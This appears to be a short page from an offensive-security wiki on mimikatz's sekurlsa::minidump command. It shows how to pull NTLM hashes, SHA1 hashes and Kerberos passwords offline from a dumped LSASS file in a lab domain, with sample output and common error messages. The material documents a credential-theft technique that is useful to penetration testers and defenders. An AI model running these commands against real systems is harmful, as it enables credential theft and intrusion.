minidump
sekurlsa::minidump can be used against a dumped LSASS process file and it does not require administrative privileges. It's considered as an "offline" dump. (cf. LSASS Dumping Secret)mimikatz # sekurlsa::minidump file.dmp
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 3113147 (00000000:002f80bb)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 13/10/2021 20:58:06
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : WIN10$
* Domain : hacklab
* NTLM : 2c60cae5c83d27b349e98662de463dfc
* SHA1 : fd6e6c6616156dac734f87d1eec386fa29537d89
tspkg :
wdigest :
* Username : WIN10$
* Domain : hacklab
* Password : (null)
kerberos :
* Username : WIN10$
* Domain : hacklab.local
* Password : 8us/0-5sE3:_bd4\B+nEqpI#j,[avKJ'7l5RpDew]EEXya=tZq7g,jAifx%-sgv)Seto+@aPtf];gmb=gSE4K?"D\B+ CBW>vD5*/k71q'iI#V4$otG4t9R[
ssp :
credman :
cloudap : KO
According to Benjamin the following errors might be raised:
ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->MajorVersion (A) != MIMIKATZ_NT_MAJOR_VERSION (B)minidump is opened from a Windows NT of another major version (NT5 vs NT6).ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->ProcessorArchitecture (A) != PROCESSOR_ARCHITECTURE_xxx (B)minidump is opened from a Windows NT of another architecture (x86 vs x64).ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000002)The minidump file is not found (check path).
Last modified 8mo ago